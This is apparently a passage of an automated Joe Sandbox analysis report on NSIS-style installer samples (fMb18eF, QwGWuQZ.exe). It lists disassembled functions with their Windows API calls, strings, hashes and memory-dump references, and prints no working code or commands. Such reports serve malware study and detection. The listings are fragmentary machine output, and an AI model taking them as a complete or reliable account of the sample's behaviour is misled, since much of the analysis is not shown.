Opcode ID: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction ID: 7c1d43f40acf3f33c375e3424532232737b5c7d4dc38a4161669d523a66d0fcf
Opcode Fuzzy Hash: 0c98d155eaf4bf30867e20e2ef9323f8e108a065a1149d83459e1735f252947f
Instruction Fuzzy Hash: 8A114F71D00214AADB10FFF6984699FBBBCAF44354B10843BA502F72D2E67989418759

Function 00406250 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 004062A4
lstrcatW.KERNEL32(00000000,...), ref: 004062C7

Strings

..., xrefs: 004062BF
%02x%c, xrefs: 0040629C

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction ID: 9bf571533c0fd83e5fe1ff618cfd19ea7d9613251e6e948213dceada22d50e27
Opcode Fuzzy Hash: e028bc25539a6ddd5d675d42839d030ce8218c39fe920002d96002040e934ce0
Instruction Fuzzy Hash: E201D272510219BFCB01DF98CC44A9EBBB9EF84714F20817AF806F3280D2799EA48794

Function 00405073 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405083

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

OleUninitialize.OLE32(00000404,00000000), ref: 004050D1

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

Skipping section: "%s", xrefs: 004050E1
Section: "%s", xrefs: 004050A5

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction ID: 3a4ae3dd184d198318ece42e1af7a5bc75ccdc2bd7a030bb5b2a43e0dda7b67b
Opcode Fuzzy Hash: 08831c163c79f6045eee3939d78ed76b32885a7039adc7eb93c092c170fa4538
Instruction Fuzzy Hash: 0EF0F433504300ABE7106766AC02B1A7BA0EF84724F25017FFA09721E2DB7928418EAD

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425D76,74DF23A0,00000000), ref: 00406902

CreateFontIndirectW.GDI32(00420110), ref: 0040216A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction ID: 0ba792ce9c48b24537a9dfec97a4105c0a721b5be590283e64661935fd66df2d
Opcode Fuzzy Hash: 5e7bfe574d04e9302ce96a75028483347f8e754cab2f6e4722de83d8c32547a7
Instruction Fuzzy Hash: B6018872B042509FF7119BB4BC4ABAA7BE4A715315F504436F141F61E3CA7D4411C72D

Function 00407224 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406EFE: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407265
lstrcmpW.KERNEL32(?,Version ), ref: 00407276
lstrcpynW.KERNEL32(?,?,?), ref: 0040728D

Strings

Version , xrefs: 0040726D

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction ID: f6016284c167eb8c93e4c4d2cd91337f160ffdcdaea293fd9af5b6974d265005
Opcode Fuzzy Hash: e08784de301d9fe6ca80962c3bdf8726d1c794b972164068317a4e691a2db981
Instruction Fuzzy Hash: 74F08172A0021CBBDF109BA5DD45EEA777CAB44700F000076F600F6191E2B5AE148BA1

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040372F,00000001,?,?,?,00000000,00403A73,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A73,?), ref: 0040332E

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction ID: 7080548a0c715e844c944b711630a30770084a0de0adb1936a850f0acfbe0ad2
Opcode Fuzzy Hash: 20fc2252fa4e8cade60f22cfb8dff2eb59aca0eba7377cdae62c8c9885b14618
Instruction Fuzzy Hash: 76F05E30541220BBC620AF24FD89AAF7F68B705B1274008BAF405B11A6C7384D92CFDC

Function 00406391 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 0040639C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 004063B2
GetProcAddress.KERNEL32(?,00000000), ref: 004063C1
GlobalFree.KERNEL32(00000000), ref: 004063CA

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction ID: 23858f5f5f858bd20c6f81bae205610dc5c3869b82bfcacec746ad73dc06cfd6
Opcode Fuzzy Hash: cfe0beae58ad61bea83a9ac8add919dc7b7c61ebe1ef4fe2e37f024ea1666988
Instruction Fuzzy Hash: 82E092313001117BF2101B269D8CD677EACDBCA7B2B05013AF645E11E1C6308C10C674

Function 004048F8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040492E
CallWindowProcW.USER32(?,00000200,?,?), ref: 0040499C

Part of subcall function 00403DDB: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404906

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction ID: 3c1fd1ddb59456d7d2ea24cd553691e7f5dd8d926ac1a383129e0726a186868e
Opcode Fuzzy Hash: c170883d227fca0112a12e156e2c8e9ea80fa6a38e1ecce58c6b14ca94f7736c
Instruction Fuzzy Hash: CE118FF1500209ABDF115F65DC44EAB776CAF84365F00803BFA04761A2C37D8D919FA9

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction ID: 1025b72e91f13a3121db677028adcce723ab2f3f19a12cbdb86f5280e69f3e4e
Opcode Fuzzy Hash: 07e0e1e700d966a463b53d73ca6f39700f71f89c173b529fa76a4fed3a8722df
Instruction Fuzzy Hash: 14E0C0716002086AEB01ABA1DD89DAE7BACAB45304F144426F601F71E3E6745D028714

Function 00405C6B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
CloseHandle.KERNEL32(?), ref: 00405C9D

Strings

Error launching installer, xrefs: 00405C74

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction ID: 058e85fc593d498414a6a643ff83d14e048665682532f700ab3f6144ed6d8858
Opcode Fuzzy Hash: d7e07479a26add6e139fb42e4e519ed4ce81f94bdda572b5be1add7e8fe8fde5
Instruction Fuzzy Hash: A4E0ECB0900209AFEB009F65DD09E7B7BBCEB00384F084426AD10E2161E778D8148B69

Function 004062CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00406113: CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004062D1, 004062D6

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: CloseHandlelstrlenwvsprintf
String ID: RMDir: RemoveDirectory invalid input("")
API String ID: 3509786178-2769509956
Opcode ID: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction ID: 2c5812d3804eb93f93713fa8b891b4ce654538dc852139f9e16b4ff69120e8c2
Opcode Fuzzy Hash: db8d081d013b9790c932ab277b4a3a99312fd955ab88a80e97be1a4fe9473cae
Instruction Fuzzy Hash: 93D05E34A50206BADA009FE1FE29E597764AB84304F400869F005890B1EA74C4108B0E

Function 00405DE2 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
lstrcmpiA.KERNEL32(?,?), ref: 00405E0A
CharNextA.USER32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E1B
lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction ID: 6c750b41c95b6ea6b2c0dd9449a28e86abc919c298eb75f697d1220529daba74
Opcode Fuzzy Hash: 6101864ab16567e6bb9a2a5d9c8424f3785a5e6dd51bc724eb4dc87483e37eb4
Instruction Fuzzy Hash: 95F0CD31205558FFCB019FA9DC0499FBBA8EF5A350B2544AAE840E7321D234DE019BA4

Analysis Process: QwGWuQZ.exePID: 7196, Parent PID: 7712COMMON

Execution Graph

Execution Coverage:	17.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1482
Total number of Limit Nodes:	25

Executed Functions

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

NSIS Error, xrefs: 0040390E
~nsu.tmp, xrefs: 00403B23
_?=, xrefs: 00403A90
SeShutdownPrivilege, xrefs: 00403C42
Error launching installer, xrefs: 00403AA9
NCRC, xrefs: 004039A8
/D=, xrefs: 004039D2
\Temp, xrefs: 00403A47

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000016.00000002.2681576205.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.2681542041.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681634196.0000000000409000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000040C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000420000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.0000000000434000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2681676743.000000000046B000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.2682585911.0000000000500000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_QwGWuQZ.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00426979,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
